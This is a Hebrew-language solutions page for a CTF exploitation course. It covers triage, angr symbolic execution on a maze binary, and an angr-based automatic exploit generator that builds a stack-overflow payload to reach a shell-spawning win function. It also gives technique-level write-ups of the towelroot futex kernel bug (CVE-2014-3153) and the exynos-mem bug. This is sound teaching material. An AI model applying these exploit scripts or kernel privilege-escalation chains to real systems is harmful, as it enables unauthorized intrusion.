9.4 מפת גישה לאתגרים הקשים פתרון
פתרון - מפת גישה לאתגרים הקשים¶
נעבור תרגיל אחרי תרגיל. עבור הדגמות ה-angr (תרגילים 3 ו-4) יש כאן סקריפט מלא ורץ. עבור אתגרי ה-CVE וה-device (תרגיל 5) הפתרון הוא מחקר ותוכנית ברמת הטכניקה, בדיוק כמו שחוקר אמיתי היה כותב - בלי לזייף offsets של kernel שלא ראינו.
פתרון תרגיל 1 - טריאז' מהריקון¶
- משפחת הטכניקה: שילוב של שתי משפחות, ושתי הראיות נפרדות. הראיה הראשונה, בשורת ה-
file, היאMIPS- כלומר ארכיטקטורה זרה, המשפחה של mipstake (פרק 8). הראיה השנייה, בשורות ה-strings(Left or Right?,You lose,Correct! flag:), היא דפוס של מבוך ועץ החלטות - המשפחה של maze ו-hunter (הרצה סימבולית עם angr). אז זה אתגר מבוך על MIPS. - הפרק והכלים: פרק 8 (ARM ו-MIPS) לחלק הארכיטקטורה, ו-angr לחלק המבוך. כלי הריצה והניפוי הם
qemu-mipsלהרצה ו-gdb-multiarchלניפוי, כי אין לכם מעבד MIPS מקומי. - הצעד הראשון הקונקרטי: מריצים תחת האמולטור כדי לראות מה התוכנית עושה בכלל:
ובמקביל פותחים את הבינארי בדיסאסמבלר כדי לאתר את הכתובות של "You win"/"flag" ו-"You lose", שיהיו ה-find וה-avoid של angr (angr יודע לעבוד גם על MIPS).
למה זה עבד: הריקון לבדו, בלי לקרוא שורת קוד אחת, כבר מיין את האתגר לשתי משפחות מוכרות והצביע על שני כלים. זו כל המטרה של הטריאז'.
פתרון תרגיל 2 - תוכנית ניתוח לפי תבנית¶
הנה שלוש תוכניות לדוגמה, אחת מכל טיפוס. כך תוכנית טובה נראית:
תוכנית א' - maze:
challenge name: maze
category: Grotesque
technique family: symbolic execution (angr)
course chapter: the angr tool from the current chapter (9.4)
assumed mitigations/environment: not relevant - this is a logic challenge, not memory corruption
bug hypothesis: no memory bug. the difficulty is an exponential search space of paths
first three steps:
1. objdump -d ./maze ; find the addresses of "win" and "lose"
2. write an angr script with explore(find=WIN, avoid=LOSE)
3. feed posix.dumps(0) back into the program
tools: angr, objdump
win condition: the program prints the flag / "You win"
תוכנית ב' - towelroot (Hacker's Secret):
challenge name: towelroot
category: Hacker's Secret
technique family: reproducing a real kernel vulnerability (device CVE)
course chapter: chapter 9 (kernel exploitation) + CVE research
assumed mitigations/environment: vulnerable Android kernel version; version-dependent offsets
bug hypothesis: not a hypothesis - a documented vulnerability. CVE-2014-3153 in FUTEX_REQUEUE
first three steps:
1. read the CVE and geohot's write-up
2. identify the primitive (struct corruption on the kernel stack)
3. match offsets to the challenge's kernel version
tools: research (NVD, public PoC), cross compiler, gdb for the kernel
win condition: get uid=0 (root) and read the flag
תוכנית ג' - softmmu (Hacker's Secret):
challenge name: softmmu
category: Hacker's Secret
technique family: emulator bug (software MMU)
course chapter: chapter 8 (interpreters and virtual machines) + memory safety
assumed mitigations/environment: userland; the host binary's mitigations (regular checksec)
bug hypothesis: OOB in the address-translation function - a guest address that translates outside the host's memory
first three steps:
1. checksec + strings ; identify that it's an emulator (opcodes, "CPU", "memory")
2. RE the translation function (guest addr -> host addr)
3. look for where bounds checking is missing in the translation
tools: Ghidra/IDA, gdb, pwntools
win condition: r/w in host memory -> flow hijack -> shell
למה זה עבד: התבנית מכריחה אתכם לענות על "מה החולשה" ו"מה הצעד הראשון" לפני שאתם מבזבזים שעות בכיוון לא נכון. שימו לב שהשדה "השערת הבאג" שונה מהותית בין הטיפוסים: במבוך אין באג, ב-CVE הוא כבר ידוע, ובאמולטור הוא כמעט תמיד באותו מקום (התרגום).
פתרון תרגיל 3 - להריץ angr על מבוך אמיתי¶
קודם מוצאים את הכתובות. הדרך הנוחה: פותחים ב-pwndbg, מאתרים את המחרוזת "You win" ב-.rodata, ורואים מאיזו כתובת ב-main טוענים אותה ל-rdi לפני ה-call puts. אפשר גם ישירות מהדיסאסמבלי:
מצליבים את כתובת המחרוזת שנטענת ל-rdi בכל בלוק, ומזהים איזה call puts שייך ל-"You win" ואיזה ל-"You lose". נניח שמצאנו:
WIN (the block that prints "You win") -> 0x40122e
LOSE (the block that prints "You lose") -> 0x401212
עכשיו הסקריפט:
#!/usr/bin/env python3
import angr
WIN = 0x40122e
LOSE = 0x401212
proj = angr.Project('./maze', auto_load_libs=False)
state = proj.factory.entry_state()
simgr = proj.factory.simulation_manager(state)
simgr.explore(find=WIN, avoid=LOSE)
if simgr.found:
sol = simgr.found[0]
data = sol.posix.dumps(0)
print('solution stdin =', data)
else:
print('no path found - check WIN/LOSE addresses')
הרצה:
מאמתים ידנית:
הפתרון rrrdddud הוא באמת מסלול תקין מ-(0,0) ל-(3,3): שלושה צעדים ימינה ושלושה למטה מגיעים ל-(3,3), ואז צעד מעלה וצעד מטה שחוזרים לאותה משבצת וממלאים את שני המהלכים הנותרים - בלי לצאת מהלוח. angr מצא אותו בלי שכתבנו שום לוגיקת מבוך.
למה זה עבד: angr הריץ את main עם 8 בתי stdin סימבוליים. כל השוואה (m == 'u', בדיקות הגבול) הוסיפה אילוץ. explore(find, avoid) חקר את המסלולים עד שהגיע ל-WIN, ואז הפותר נתן ערך קונקרטי ל-8 הבתים שמספק את כל האילוצים של אותו מסלול. איך להכליל: זה בדיוק מה שעושים ל-maze ול-hunter האמיתיים, רק שהכתובות אמיתיות ומספר המהלכים גדול יותר.
פתרון תרגיל 4 - שלד AEG על overflow פשוטה¶
מוצאים את כתובת win:
הסקריפט שמוצא לבד את השליטה ב-pc ובונה payload:
#!/usr/bin/env python3
import angr, claripy
WIN = 0x401156
proj = angr.Project('./vuln', auto_load_libs=False)
sym_stdin = claripy.BVS('stdin', 8 * 100) # 100 symbolic bytes
state = proj.factory.full_init_state(
stdin=sym_stdin,
add_options=angr.options.unicorn,
)
simgr = proj.factory.simulation_manager(state, save_unconstrained=True)
# run until we find a state where we control pc
while not simgr.unconstrained and (simgr.active or simgr.deferred):
simgr.step()
assert simgr.unconstrained, 'no unconstrained state - increase symbolic length'
crash = simgr.unconstrained[0]
# force the symbolic pc to win's address and extract the input
crash.add_constraints(crash.regs.pc == WIN)
assert crash.satisfiable()
payload = crash.posix.dumps(0)
open('payload.bin', 'wb').write(payload)
print('payload len =', len(payload))
print(payload)
הרצה:
$ python3 aeg.py
payload len = 48
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaV\x11@\x00\x00\x00\x00\x00'
הכלי angr מצא לבד ש-40 הבתים הראשונים ממלאים את buf[32] ואת saved rbp, ואז הזריק את כתובת win (0x401156) לreturn address. מאמתים עם pwntools:
from pwn import *
p = process('./vuln')
p.sendline(open('payload.bin', 'rb').read())
p.interactive() # we reach win -> system("/bin/sh")
למה זה עבד: הדגל save_unconstrained=True גרם ל-angr לשמור בצד כל מצב שבו ה-pc נעשה סימבולי - כלומר הקלט זרם ל-rip. הלולאה רצה עד שנוצר מצב כזה. אז הוספנו אילוץ יחיד, pc == win, והפותר החזיר את הקלט המדויק שגם עולה על הbuffer וגם מציב את win ב-rip. איך להכליל: זה הגרעין של AEG. באתגר aeg האמיתי עוטפים את זה בלולאה על הבינארים הנכנסים, מוסיפים זיהוי הגנות, ולעיתים angrop לבניית ROP כשאין win נוח. אבל הרעיון - "חכה ל-pc בלתי מאולץ, אלץ אותו, פתור" - זהה.
הערה מעשית: אם על המערכת שלכם הלולאה לא מסתיימת, זה בדרך כלל כי הקלט הסימבולי קצר מכדי להגיע ל-rip, או כי gets לא ממודל טוב בגרסת angr שלכם - הגדילו את האורך או השתמשו בבינארי עם read(0, buf, 100) במקום gets.
פתרון תרגיל 5 - מחקר CVE בכתב¶
דף מחקר לדוגמה עבור towelroot:
- ה-CVE: מדובר ב-CVE-2014-3153, שפורסם ב-2014. התגלה ונוצל לרוט על ידי geohot בכלי בשם towelroot, שרוטט מספר עצום של מכשירי אנדרואיד.
- הפרימיטיב: באג בקריאת המערכת
futex, בנתיב של הפעולהFUTEX_REQUEUE. טיפול שגוי בהעברת ממתינים בין תורי futex מוביל לכך שמבנהwaiterשיושב על מחסנית הkernel נשאר משורשר אחרי שהמסגרת שלו כבר שוחררה. קורפשן המבנה הזה הופכת בסופו של דבר לכתיבה לכתובת נשלטת בזיכרון הkernel. - שלושת השלבים העיקריים: ראשית, מסדרים את מבני ה-futex כך שהבאג יוצר מצביע תלוי (dangling) לזיכרון kernel שאנחנו שולטים בתוכנו. שנית, ממנפים את הכתיבה הנשלטת כדי לשנות מבנה קריטי - בדרך כלל את מבנה ה-
credשל התהליך (מאפסיםuid/gid) או משנים מצביע פונקציה בkernel. שלישית, חוזרים ל-userland כתהליך עם הרשאות root וקוראים את הדגל. - האילוץ הסביבתי: החולשה תלוית גרסת kernel. ה-offsets של השדות במבנים (למשל המיקום של
uidבתוךcred) ושל הפונקציות משתנים בין גרסאות, ולכן ה-exploit חייב להיות מכוון לגרסה המדויקת שהאתגר מריץ. זו הסיבה שהשלב הראשון במחקר הוא לזהות את גרסת הkernel (uname -r) ולהתאים אליה את המספרים.
הנקודה החשובה: לא המצאנו כלום. זיהינו חולשה מפורסמת, קראנו את המקורות, ותיארנו את הפרימיטיב ואת הchain ברמת הטכניקה. שחזור מדויק דורש גישה לגרסת הkernel של האתגר ולהתאמת ה-offsets - וזה בדיוק סוג העבודה שאתגרי Hacker's Secret מתרגלים: קריאה ושחזור של מחקר קיים, לא המצאה מאפס.
למה זה עבד: אתגרי device CVE אינם "פאזל" - הם תרגיל בביבליוגרפיה טכנית. חוקר שיודע לזהות את החולשה, למצוא את הפרסום המקורי ואת ה-PoC, ולהבין את הפרימיטיב, כבר עשה 80 אחוז מהעבודה. אותו תהליך בדיוק חל על exynos: מזהים את CVE-2012-6422, קוראים את הפרסום על /dev/exynos-mem, ומבינים שהפרימיטיב הוא mmap של זיכרון פיזי שרירותי מ-userland, שהופך לכתיבה ישירה לזיכרון הkernel.
פתרון תרגיל 6 (בונוס) - הגבולות של angr¶
מגדילים את המבוך ל-40 מהלכים ולוח 10x10 ומריצים שוב:
- הזמן: התלות היא אקספוננציאלית. עם 8 מהלכים ו-4 כיוונים יש עד
4^8מסלולים (כ-65 אלף), ו-angr טוחן אותם בשניות. עם 40 מהלכים יש עד4^40מסלולים - מספר אסטרונומי. בפועל הסקריפט או שירוץ דקות ארוכות, או שיאכל את כל ה-RAM ויקרוס בלי לסיים. - מה קורה - התפוצצות מצבים: כל צומת החלטה מכפיל את מספר המצבים ש-angr מנהל במקביל. זה נקרא state explosion: מספר המסלולים הפעילים גדל אקספוננציאלית עם עומק ההסתעפות, וגם הזיכרון וגם הזמן מתפוצצים. angr לא "טיפש" - הבעיה מובנית בהרצה סימבולית של מרחב חיפוש גדול.
- רעיון לצמצום: כמה כיוונים אפשריים. אפשר לתת
avoidנדיב יותר - לזהות מוקדם מסלולים שיצאו מהלוח ולגזום אותם מיד, כך שלא יתפצלו הלאה. אפשר להשתמש בטכניקת חיפוש ממוקדת יותר (למשלDFSבמקום ברירת המחדל, שמחזיק פחות מצבים בזיכרון בו-זמנית). ואפשר, כמו שעושים באתגרים אמיתיים, לא לזרוק את כל הבינארי על angr: פותרים ידנית עד קרוב ליעד, מקימיםstateמכתובת מתקדמת עםproj.factory.blank_state(addr=...), ומפעילים angr רק על הקטע הקצר שנשאר.
למה זה עבד: הבנת המגבלה היא חלק מהכלי. angr מבריק על מבוכים קטנים-בינוניים ועל בינארים ממוקדים, אבל הוא לא פותר קסם כל בעיה. הידיעה מתי angr יעזור ומתי הוא יתפוצץ - ומתי לשלב אותו עם ניתוח ידני - היא בדיוק ההבדל בין מי שקרא על הכלי לבין מי שיודע להשתמש בו על אתגר Grotesque אמיתי.